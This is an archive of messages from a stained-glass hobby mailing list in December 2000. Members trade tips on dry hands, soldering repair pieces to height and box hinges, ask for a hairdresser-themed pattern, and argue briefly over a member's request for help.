Yup, bag balm is the best, and Porters, another farm store remedy for cuts. 
I like the super glue idea...I've already used that on a few bad gashes
(non glass) when I didn't want to go for a couple stitches...good stuff!
I've put gloves everywhere, in the car, in the jacket pockets, by the door
and no excuses for going out with out them...bad bad hands get gloves to
sleep in.
dee
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From owner-glass Fri Dec  8 19:30:54 2000
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From: "CP" <mschatee@twcny.rr.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Hairdresser Pattern Needed
Date: Fri, 8 Dec 2000 20:40:50 -0500
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Would anyone out there happen to have a pattern that would be =
appropriate for my hairdresser.  She loves my stained glass and every =
year I give her a piece for her Christmas tip and this year I want to =
make something special (hair related of course).  I've done so many =
pattern searches in the past 2 weeks and haven't come across anything.  =
Any ideas would be greatly appreciated.

Thank you all,

Caren

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Would anyone out there happen to have a =
pattern=20
that would be appropriate for my hairdresser.&nbsp; She loves my stained =
glass=20
and every year I give her a piece for her Christmas tip and this year I =
want to=20
make something special (hair related of course).&nbsp; I've done so many =
pattern=20
searches in the past 2 weeks and haven't come across anything.&nbsp; Any =
ideas=20
would be greatly appreciated.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Caren</FONT></DIV></BODY></HTML>

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From owner-glass Fri Dec  8 21:01:09 2000
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X-Path: aol.com!CINDEL67
From: CINDEL67@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Glass workers winter hands
Date: Fri, 8 Dec 2000 23:38:04 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I have the exact same problem here in Indiana during these winter months. 
(Although I still have the cracked, dry hands during the summer too.) As for 
the day time, my husband brought me some lotion-type-stuff that you put on 
your hands and let dry. It apparently forms a protected layer over your 
hands. It doesn't work too bad.  Then at night, I usually put a layer of 
"good ole" Corn Huskers Lotion. Then sleep with a pair of cotton gloves over 
it. Seems to help a bit. 

I'd love to hear how other people deal with this problem.

Cinda
Kokomo, IN

gunnx4@ix.netcom.com writes:

> Both the *work* studio, and home studio are heated, but with washing my
>  hands so frequently, and dryer winter air...which is even dryer with the
>  heater going, my hands really suffer for it.  They are bad enough when
>  it's humid! ;o)  Callous city, man.  No ones bangin on my door for a
>  hand model, that's for sure!
>  
>  Suzanne
>  
>  Linda Jo Letscher wrote:
>  > 
>  > Suzanne,
>  > Isn't your work studio heated?  I do find myself putting cream on my 
hands
>  > more this time of year, and we aren't as cold as you guys.
>  > Linda Jo
>  > Jacksonville, Fl.
>  ----
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From owner-glass Sat Dec  9 01:07:19 2000
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From: rrk <ezbongo2@pacbell.net>
To: Bungi Group <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: GLENNA RAND PLEASE READ THIS
Date: Thu, 07 Dec 2000 04:46:57 -0800
Message-ID: <1970Jan1.000.0>
Precedence: bulk


Hi Glenna,

I've tried to unsubscribe from this list 3 times
in the last 3 months or so by sending an email to
glass-request@bungi.com .

Each time the email is returned as undeliverable.
I presume this has something to do with your
recent move.

So, I'm sending the request to the main list and
hoping you see it.

Could you please kindly remove me from the Bungi
mailing list, its no longer worth the effort and I
receive email from many people I do not wish to be
associated with in any way.

Best regards,
Bob Kerr

P.S. I hope Nakea is doing well and sleeping on a
regular schedule, you too of course <G>.  Maybe
I'll see you in Hawaii someday as my wife loves it
as much as you do.




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From owner-glass Sat Dec  9 08:30:43 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RV: Hairdresser Pattern Needed
Date: Sat, 9 Dec 2000 13:39:03 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

H
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From owner-glass Sat Dec  9 09:33:23 2000
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From: Zeynep Akgunay <zakgunay@yahoo.com>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: One Last thing...
Date: Fri, 8 Dec 2000 21:56:02 -0800 (PST)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi, 
      I'm really intrigued by all this conversation
about "helping" or "not helping" Boe.I don't
understand why people jump into assumptions that she
should be the happiest woman in the world because
she's been institutionalised!There are many other
remarks as to how she should have asked for help,why
she can use the internet,how much it costs to use a
computer....
     I don't know this person but there are people who
know her,infact have known her for quite sometime and
feel her plea is genuine and I respect their
feelings.But whether I will help her or not is my
decision and I don't intend to discuss it with
others.I think that those poeple who think this is a
scam should have the decency to keep their "Conspiracy
Theory" ideas to themselves and not lecture other
people about what to do with their money or who they
should help.Nobody is forcing anybody to do
anything.Maybe they're doing this to releive their own
conscience,but a whole group of people shouldn't be
forced to read these lectures day in and day
out.Thanks for reading mine!    

--- Colleen Schick <thegrainery@unibase.com> wrote:
> Okay, this is my last "devil's advocate" scenereo...
> 
> #1    If Lee is that broke     and...
> #2    Being institutionalized is a poverish, living
> hell     then how
> come...
> 
> #1   she has access to a computer (which is worth
> about $2000.00)
> #2   she has access to the internet (which is worth
> about $50/month for
> high-speed and
>         ($30/month for regular service)
> 
> It doesn't add up? And if she is in a mental rehab--
> would you want her
> to have access to glass (the staff would never allow
> it because of the
> danger... she may not use it as a weapon, but who
> says someone else
> wouldn't? There are a lot of depressed people who
> would take any
> opportunity to take their lives, right?)
> 
> AND FINALLY... Here in Canada (and I am very ashamed
> of this fact, that
> our TOP SECURTIY PRISONS that house LIFE OFFENDERS,
> have access to
> computers... get this... so they can get a
> university degree... that my
> tax dollars are paying for.. I still don't get
> it!!???!!!???!!???!!!???!?!?!?!?!?!
> 
> Colleen
> 
> ----
> For subscription changes, please mail to:
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__________________________________________________
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From owner-glass Sat Dec  9 09:33:54 2000
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From: "Rita Kimmons" <mommabear776@hotmail.com>
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Subject: Gatewayed mail message
Date: Sat, 09 Dec 2000 08:47:26 -0600
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I am missing so many messages.  The subject and the sender come up on my
hotmail screen, but the message will not be there when I open up it.
Is this just something I will have to suffer through with the hotmail Email 
account?
_____________________________________________________________________________________
Get more from the Web.  FREE MSN Explorer download : http://explorer.msn.com

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From owner-glass Sat Dec  9 10:04:59 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RV: Glass workers winter hands
Date: Sat, 9 Dec 2000 13:41:39 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Kanebo has two hand lotions that are great but VERY EXPENSIVE.  I usually
put olive oil on my hands before putting on my surgical gloves when working,
it helps alot and olive oil is great for so many things other than just
wonderful med. style food.
Kira
-----Mensaje original-----
De: CINDEL67@aol.com <CINDEL67@aol.com>
Para: glass@bungi.com <glass@bungi.com>
Fecha: sábado 9 de diciembre de 2000 5:59
Asunto: Re: Glass workers winter hands


>I have the exact same problem here in Indiana during these winter months.
>(Although I still have the cracked, dry hands during the summer too.) As
for
>the day time, my husband brought me some lotion-type-stuff that you put on
>your hands and let dry. It apparently forms a protected layer over your
>hands. It doesn't work too bad.  Then at night, I usually put a layer of
>"good ole" Corn Huskers Lotion. Then sleep with a pair of cotton gloves
over
>it. Seems to help a bit.
>
>I'd love to hear how other people deal with this problem.
>
>Cinda
>Kokomo, IN
>
>gunnx4@ix.netcom.com writes:
>
>> Both the *work* studio, and home studio are heated, but with washing my
>>  hands so frequently, and dryer winter air...which is even dryer with the
>>  heater going, my hands really suffer for it.  They are bad enough when
>>  it's humid! ;o)  Callous city, man.  No ones bangin on my door for a
>>  hand model, that's for sure!
>>
>>  Suzanne
>>
>>  Linda Jo Letscher wrote:
>>  >
>>  > Suzanne,
>>  > Isn't your work studio heated?  I do find myself putting cream on my
>hands
>>  > more this time of year, and we aren't as cold as you guys.
>>  > Linda Jo
>>  > Jacksonville, Fl.
>>  ----
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Sat Dec  9 21:43:44 2000
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X-Path: n-link.com!pkelly
From: Patrick Kelly <pkelly@n-link.com>
To: "CP" <mschatee@twcny.rr.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Hairdresser Pattern Needed
Date: Sat, 9 Dec 2000 23:01:42 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

At some of the Nail Shops in the area they have a large plastic film of a
woman's face with her hand and nails kind of in front of it.... I don't
think it would be too difficult to do in glass with a slight bit of
modification......other than that how about enlargement of one of the female
forms in a flowing dress..... omit the dress and just have a piece of mirror
for the face and her long hair flowing in the wind....

I have a pattern of a woman in the long dress I might be able to blow up....
how big do you want it?

Patrick
Roses and Rainbows.

> -----Original Message-----
> From: CP [mailto:mschatee@twcny.rr.com]
> Sent: Friday, December 08, 2000 7:41 PM
> To: glass@bungi.com
> Subject: Hairdresser Pattern Needed
>
>
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_000C_01C06157.26700B20
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> Would anyone out there happen to have a pattern that would be =
> appropriate for my hairdresser.  She loves my stained glass and every =
> year I give her a piece for her Christmas tip and this year I want to =
> make something special (hair related of course).  I've done so many =
> pattern searches in the past 2 weeks and haven't come across anything.  =
> Any ideas would be greatly appreciated.
>
> Thank you all,
>
> Caren
>
> ------=_NextPart_000_000C_01C06157.26700B20
> Content-Type: text/html;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META http-equiv=3DContent-Type content=3D"text/html; =
> charset=3Diso-8859-1">
> <META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT face=3DArial size=3D2>Would anyone out there happen to have a =
> pattern=20
> that would be appropriate for my hairdresser.&nbsp; She loves my stained =
> glass=20
> and every year I give her a piece for her Christmas tip and this year I =
> want to=20
> make something special (hair related of course).&nbsp; I've done so many =
> pattern=20
> searches in the past 2 weeks and haven't come across anything.&nbsp; Any =
> ideas=20
> would be greatly appreciated.</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>Thank you all,</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>Caren</FONT></DIV></BODY></HTML>
>
> ------=_NextPart_000_000C_01C06157.26700B20--
>
> ----
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>

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From owner-glass Sat Dec  9 21:57:42 2000
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From: Patrick Kelly <pkelly@n-link.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: New Mexico Visit
Date: Sat, 9 Dec 2000 22:54:57 -0600
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Hello again everybody,

Monday I leave on a business trip to Las Crueces, New Mexico.

Anybody have a SG shop there or know of any artists in the area?

Patrick
Roses and Rainbows
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From owner-glass Sun Dec 10 03:48:13 2000
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From: "Elaine" <wmagdycz@massed.net>
To: <glass@bungi.com>
Subject: gargoyle
Date: Sun, 10 Dec 2000 06:22:45 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Does anybody have the Monster Metal gargoyle and/or the Flying Nymph in stock?
Thanks, Elaine


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From owner-glass Sun Dec 10 09:10:10 2000
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<><><><><><><><><><><><><><><><><><><><><><><><><><><>
<>   Wayne Munro 'Snail mail' address               <>
<>   2960 Suffield Road,                            <> 
<>   Courtenay, B.C. Canada   V9N-3V5               <>
<>                                                  <>
<>   ICQ # 2762376.                                 <>
<>   Phone and Fax-- (250) 338-5507                 <>  
<>   Cell Phone and Voicemail-- (250) 338-3765      <>
<> "Call before sending a fax so setup is complete" <> 
<><><><><><><><><><><><><><><><><><><><><><><><><><><>

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To: "ELLA" <ella@zoomnet.net>,
Content-Type: text/plain;
Subject: RE: soldier
Date: Sun, 10 Dec 2000 11:29:29 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

go to my tips section at http://www.geocities.com/Paris/1141/ and look for
the new tip of how to solder. hopefully it should help some what.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: ELLA [mailto:ella@zoomnet.net]
> Sent: Tuesday, December 05, 2000 9:36 PM
> To: glass@bungi.com
> Subject: soldier
>
>
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_0039_01C05F03.62266D40
> Content-Type: text/plain;
> 	charset="iso-8859-1"
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>
> I thought blue was my favorite color, however since I have been doing =
> stained glass I discovered red is my favorite.  Seems like without =
> realizing it I manage to get a small piece of red in each piece I do.  I =
> am sure this has been covered in the past, but I am a new comer.  I need =
> hints on making a neat soldier joint on folded pieces where two =
> intersect.  I will have it looking halfway good then I joint another =
> line and mess it up.  ella
>
> ------=_NextPart_000_0039_01C05F03.62266D40
> Content-Type: text/html;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META content=3D"text/html; charset=3Diso-8859-1" =
> http-equiv=3DContent-Type>
> <META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT face=3DArial size=3D2>I thought blue was my favorite color, =
> however since=20
> I have been doing stained glass I discovered red is my favorite.&nbsp; =
> Seems=20
> like without realizing it I manage to get a small piece of red in each =
> piece I=20
> do.&nbsp; I am sure this has been covered in the past, but I am a new=20
> comer.&nbsp; I need hints on making a neat soldier joint on folded =
> pieces where=20
> two intersect.&nbsp; I will have it looking halfway good then I joint =
> another=20
> line and mess it up.&nbsp; ella</FONT></DIV></BODY></HTML>
>
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>
> ----
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From owner-glass Sun Dec 10 13:22:45 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RV: Hairdresser Pattern Needed
Date: Sun, 10 Dec 2000 21:05:50 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk


-----Mensaje original-----
De: Kira Mason <kiram@arrakis.es>
Para: bungi <glass@bungi.com>
Fecha: sábado 9 de diciembre de 2000 13:39
Asunto: RV: Hairdresser Pattern Needed


>Hi,
>Why don't you take a picture, a close up, someone with really great flowing
hair and trace over it with tracing paper to make your pattern.
>Kira
>-----Mensaje original-----
>De: CP <mschatee@twcny.rr.com>
>Para: glass@bungi.com <glass@bungi.com>
>Fecha: sábado 9 de diciembre de 2000 4:27
>Asunto: Hairdresser Pattern Needed
>
>
>>This is a multi-part message in MIME format.
>>
>>------=_NextPart_000_000C_01C06157.26700B20
>>Content-Type: text/plain;
>> charset="iso-8859-1"
>>Content-Transfer-Encoding: quoted-printable
>>
>>Would anyone out there happen to have a pattern that would be =
>>appropriate for my hairdresser. She loves my stained glass and every =
>>year I give her a piece for her Christmas tip and this year I want to =
>>make something special (hair related of course). I've done so many =
>>pattern searches in the past 2 weeks and haven't come across anything. =
>>Any ideas would be greatly appreciated.
>>
>>Thank you all,
>>
>>Caren
>>
>>------=_NextPart_000_000C_01C06157.26700B20
>>Content-Type: text/html;
>> charset="iso-8859-1"
>>Content-Transfer-Encoding: quoted-printable
>>
>><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
>><HTML><HEAD>
>><META http-equiv=3DContent-Type content=3D"text/html; =
>>charset=3Diso-8859-1">
>><META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
>><STYLE></STYLE>
>></HEAD>
>><BODY bgColor=3D#ffffff>
>><DIV><FONT face=3DArial size=3D2>Would anyone out there happen to have a =
>>pattern=20
>>that would be appropriate for my hairdresser.&nbsp; She loves my stained =
>>glass=20
>>and every year I give her a piece for her Christmas tip and this year I =
>>want to=20
>>make something special (hair related of course).&nbsp; I've done so many =
>>pattern=20
>>searches in the past 2 weeks and haven't come across anything.&nbsp; Any =
>>ideas=20
>>would be greatly appreciated.</FONT></DIV>
>><DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
>><DIV><FONT face=3DArial size=3D2>Thank you all,</FONT></DIV>
>><DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
>><DIV><FONT face=3DArial size=3D2>Caren</FONT></DIV></BODY></HTML>
>>
>>------=_NextPart_000_000C_01C06157.26700B20--
>>
>>----
>>For subscription changes, please mail to: glass-request@bungi.com
>>To send to the list, please mail to: glass@bungi.com
>>Archives available at http://www.bungi.com/glass
>
>


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From owner-glass Sun Dec 10 13:31:28 2000
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X-Path: teleport.com!weaver51
From: "Howard" <weaver51@teleport.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: old bases and a shade FA
Date: Sun, 10 Dec 2000 13:07:51 -0800
Message-ID: <1970Jan1.000.0>
Organization: weaver51@teleport.com
Precedence: bulk

Hello all...........

I have finally put up a shade for auction on ebay!

also have a lot of OLD bases up as well.

below are the links and description
:
http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=523400298
moe bridges pair 13”

· http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=523415079
single black moe bridges/ring

http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1201627556
akro agate base

http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=523451843
bradley hubbard no plug

http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=523470489
Aladdin yellow base

· http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=523492851
unsigned base

http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1201648950
 20" waterlily shade

Still have a lot of jewels, roses and a few corners left!

enjoy, H

weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Mon Dec 11 07:04:56 2000
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X-Path: aol.com!PookyPook
From: PookyPook@aol.com
To: glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_be.d16964f.27664127_boundary"
Subject: Repairs
Date: Mon, 11 Dec 2000 09:39:35 EST
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Precedence: bulk


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Okay, I give.. how does one get the new piece in a repair at the same height 
as the rest of the project? The solder makes the old piece up higher... It 
seems okay when I get it done, but can be frustrating. And, as I Hate 
repairs, I can use all the help I can get! Thanks in advance.

Ruth
"If we quit voting will they all go away?"
http://members.aol.com/RTSkeeter
 ICQ11716411



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=3>Okay, I give.. how does one get the new piece in a repair at the same height <BR>as the rest of the project? The solder makes the old piece up higher... It <BR>seems okay when I get it done, but can be frustrating. And, as I Hate <BR>repairs, I can use all the help I can get! Thanks in advance.
<BR>
<BR></FONT><FONT  COLOR="#000000" SIZE=2 FAMILY="SANSSERIF" FACE="Arial" LANG="0">Ruth
<BR>"If we quit voting will they all go away?"
<BR>http://members.aol.com/RTSkeeter
<BR> ICQ11716411
<BR>
<BR></FONT></HTML>

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From owner-glass Mon Dec 11 08:35:31 2000
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X-Path: fbol.com!Patty.McMaster
From: Patty.McMaster@fbol.com
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Repairs
Date: Mon, 11 Dec 2000 09:48:52 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk


THANK YOU
very much for asking that !
Recently, my 120lb AKITA jumped in my car &
stepped on a project
 now I am finishing the foiling preparing for the
soldering & am running into the same problem
  Patty


                                                                                     
                    PookyPook@aol                                                    
                    .com                 To:     glass@bungi.com                     
                                         cc:     (bcc: Patty McMaster/First Bank)    
                    12/11/00             Subject:     Repairs                        
                    08:39 AM                                                         
                                                                                     
                                                                                     






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Okay, I give.. how does one get the new piece in a repair at the same
height
as the rest of the project? The solder makes the old piece up higher... It
seems okay when I get it done, but can be frustrating. And, as I Hate
repairs, I can use all the help I can get! Thanks in advance.

Ruth
"If we quit voting will they all go away?"
http://members.aol.com/RTSkeeter
 ICQ11716411



--part1_be.d16964f.27664127_boundary
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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=3>Okay, I give.. how does one
get the new piece in a repair at the same height <BR>as the rest of the
project? The solder makes the old piece up higher... It <BR>seems okay when
I get it done, but can be frustrating. And, as I Hate <BR>repairs, I can
use all the help I can get! Thanks in advance.
<BR>
<BR></FONT><FONT  COLOR="#000000" SIZE=2 FAMILY="SANSSERIF" FACE="Arial"
LANG="0">Ruth
<BR>"If we quit voting will they all go away?"
<BR>http://members.aol.com/RTSkeeter
<BR> ICQ11716411
<BR>
<BR></FONT></HTML>

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From owner-glass Mon Dec 11 09:36:12 2000
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X-Path: bright.net!joyce
From: glasscc <joyce@bright.net>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: Re: Repairs
Date: Mon, 11 Dec 2000 12:18:00 -0500
Message-ID: <5.0.2.1.0.20001211121410.00a0b970@mail.bright.net>
References: <<1970Jan1.000.0>>
Precedence: bulk


>
>Okay, I give.. how does one get the new piece in a repair at the same
>height
>as the rest of the project? The solder makes the old piece up higher... It
>seems okay when I get it done, but can be frustrating. And, as I Hate
>repairs, I can use all the help I can get! Thanks in advance.


If the piece is large enough and it's in a panel, I normally put a coin 
underneath it to hold it to the proper height to solder it.  I find dimes 
usually are the right height.  But depending on how curved the bead is on 
your solder you might need a penny or a nickel.  IF the piece you are 
repairing is too small for that (heaven forbid!) then I have cut cardboard 
to place underneath it to the proper height.  Sometimes for larger pieces, 
I have used popsicle sticks under it to get it adjusted.   If it's a 
lampshade, I have pretty much just taped it in place, and prayed it didn't 
move before I got it tack soldered.

Joyce
Garden of Glass

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From owner-glass Mon Dec 11 10:07:08 2000
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: PookyPook@aol.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Repairs
Date: Mon, 11 Dec 2000 12:29:49 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 12/11/00 7:05:53 AM Pacific Standard Time, 
PookyPook@aol.com writes:

> Okay, I give.. how does one get the new piece in a repair at the same 
height 
>  as the rest of the project? The solder makes the old piece up higher.

I use several pennies/dimes to bring the replacement piece to the correct 
height.

Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
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From owner-glass Mon Dec 11 11:14:01 2000
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X-Path: iofm.net!art.forall
From: "Art For All" <art.forall@iofm.net>
To: "GLASS Bungi" <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Server Went Bust
Date: Mon, 11 Dec 2000 18:26:25 -0000
Message-ID: <1970Jan1.000.0>
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Hi Folks

I have been away, well away for me, I was in the States, forced into =
Florida by the bad weather.  Whilst away my server went bust but has now =
been taken over and is up and running again but my Bungi mail all =
stopped, so could you please reinstate me.

I saw a clever tube and wire box lid hinge on my travels, that I had not =
seen before.  The tube part of the hinge was soldered inside the box =
half an inch or more down from the edge at the back.  The pivot wires =
were bent almost at 90 degrees, so with the box shut they left the tube, =
heading forwards, almost parallel to the base, then turned vertical up =
to meet the box lid, where they were soldered to it.  When the box was =
opened the wires rested on the back of the box and there was no need for =
any restraining chain.  A rather neat idea and all the hinge is =
invisible with the box closed.

Regards
Mike

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<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi Folks</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have been away, well away for me, I =
was in the=20
States, forced into Florida by the bad weather.&nbsp; Whilst away my =
server went=20
bust but has now been taken over and is up and running again but my =
Bungi mail=20
all stopped, so could you please reinstate me.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I saw a clever tube and wire box lid =
hinge on my=20
travels, that I had not seen before.&nbsp; The tube part of the hinge =
was=20
soldered inside the box half an inch or more down from the edge at the=20
back.&nbsp; The pivot wires were bent almost at 90 degrees, so with the =
box shut=20
they left the tube, heading forwards, almost parallel to the base, then =
turned=20
vertical up to meet the box lid, where they were soldered to it.&nbsp; =
When the=20
box was opened the wires rested on the back of the box and there was no =
need for=20
any restraining chain.&nbsp; A rather neat idea and all the hinge is =
invisible=20
with the box closed.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Mike</FONT></DIV></BODY></HTML>

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From owner-glass Mon Dec 11 14:22:48 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <PookyPook@aol.com>,
Content-Type: multipart/alternative;
Subject: RE: Repairs
Date: Mon, 11 Dec 2000 17:19:16 -0500
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a method that vicki payne used, was to use a meat tray or som thin packing
foam; cut it to fit and place the glass on top of that. with a little
adjustment you can get it at the right height.

another method is to simply, carefully, hold it in place with the project in
the verticle posistion. then tack it. and solder.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

  -----Original Message-----
  From: PookyPook@aol.com [mailto:PookyPook@aol.com]
  Sent: Monday, December 11, 2000 9:40 AM
  To: glass@bungi.com
  Subject: Repairs


  Okay, I give.. how does one get the new piece in a repair at the same
height
  as the rest of the project? The solder makes the old piece up higher... It
  seems okay when I get it done, but can be frustrating. And, as I Hate
  repairs, I can use all the help I can get! Thanks in advance.

  Ruth
  "If we quit voting will they all go away?"
  http://members.aol.com/RTSkeeter
  ICQ11716411



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<BODY>
<DIV><SPAN class=3D070261722-11122000><FONT face=3DArial color=3D#0000ff =
size=3D2>a=20
method that vicki payne used, was to use a meat tray or som thin packing =
foam;=20
cut it to fit and place the glass on top of that. with a little =
adjustment you=20
can get it at the right height. </FONT></SPAN></DIV>
<DIV><SPAN class=3D070261722-11122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D070261722-11122000><FONT face=3DArial color=3D#0000ff =

size=3D2>another method is to simply, carefully, hold it in place with =
the=20
project&nbsp;in the verticle posistion. then tack it. and=20
solder.</FONT></SPAN></DIV>
<DIV><SPAN class=3D070261722-11122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D070261722-11122000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D070261722-11122000><FONT face=3DArial color=3D#0000ff =

size=3D2>---Mike Savad</FONT></SPAN></DIV>
<DIV><SPAN class=3D070261722-11122000></SPAN>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<P><FONT size=3D2>---<BR>Mike's Stained Glass - <A target=3D_blank=20
href=3D"http://www.geocities.com/Paris/1141/">http://www.geocities.com/Pa=
ris/1141/</A><BR>Contains=20
a wealth of stained glass information, stained glass tips, stained glass =

instruction, and many, many stained glass links.<BR>---<BR>11-7-00 - New =
Stuff=20
Added: How to solder a nice bead, and several new projects. You can now =
search=20
my site with a built in engine.</FONT></P>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> PookyPook@aol.com=20
  [mailto:PookyPook@aol.com]<BR><B>Sent:</B> Monday, December 11, 2000 =
9:40=20
  AM<BR><B>To:</B> glass@bungi.com<BR><B>Subject:</B>=20
  Repairs<BR><BR></FONT></DIV><FONT face=3Darial,helvetica><FONT =
size=3D3>Okay, I=20
  give.. how does one get the new piece in a repair at the same height =
<BR>as=20
  the rest of the project? The solder makes the old piece up higher... =
It=20
  <BR>seems okay when I get it done, but can be frustrating. And, as I =
Hate=20
  <BR>repairs, I can use all the help I can get! Thanks in advance.=20
  <BR><BR></FONT><FONT lang=3D0 face=3DArial color=3D#000000 size=3D2=20
  FAMILY=3D"SANSSERIF">Ruth <BR>"If we quit voting will they all go =
away?"=20
  <BR>http://members.aol.com/RTSkeeter <BR>ICQ11716411=20
<BR><BR></BLOCKQUOTE></FONT></FONT></BODY></HTML>

------=_NextPart_000_000A_01C06396.7D52DA80--

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From owner-glass Mon Dec 11 14:30:28 2000
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X-Path: together.net!jbuckner
From: Jennifer Buckner <jbuckner@together.net>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: box & hinge
Date: Mon, 11 Dec 2000 17:30:09 -0500
Message-ID: <4.3.2.7.2.20001211171023.00a939e0@pop.together.net>
Precedence: bulk

Mike,

Your newly discovered box hinge mechanism sounds intriguing, but I have a 
few questions if I may?  Was the box back, to which the tube was soldered, 
a complex pattern involving a number of solder joints to which the tube 
could be securely attached?  Was the tube 3 to 4 mm shorter than the width 
of the box at each end to allow for the bends in the wire as they exit the 
tube?  What gauge was the wire that it held its 90o corners as well as the 
weight of the box top when opened?  Were the wire ends simply butt soldered 
to the box top, or did they have another bend in them to lie flat against 
the top for some length?  Lots of questions, I know, but important ones for 
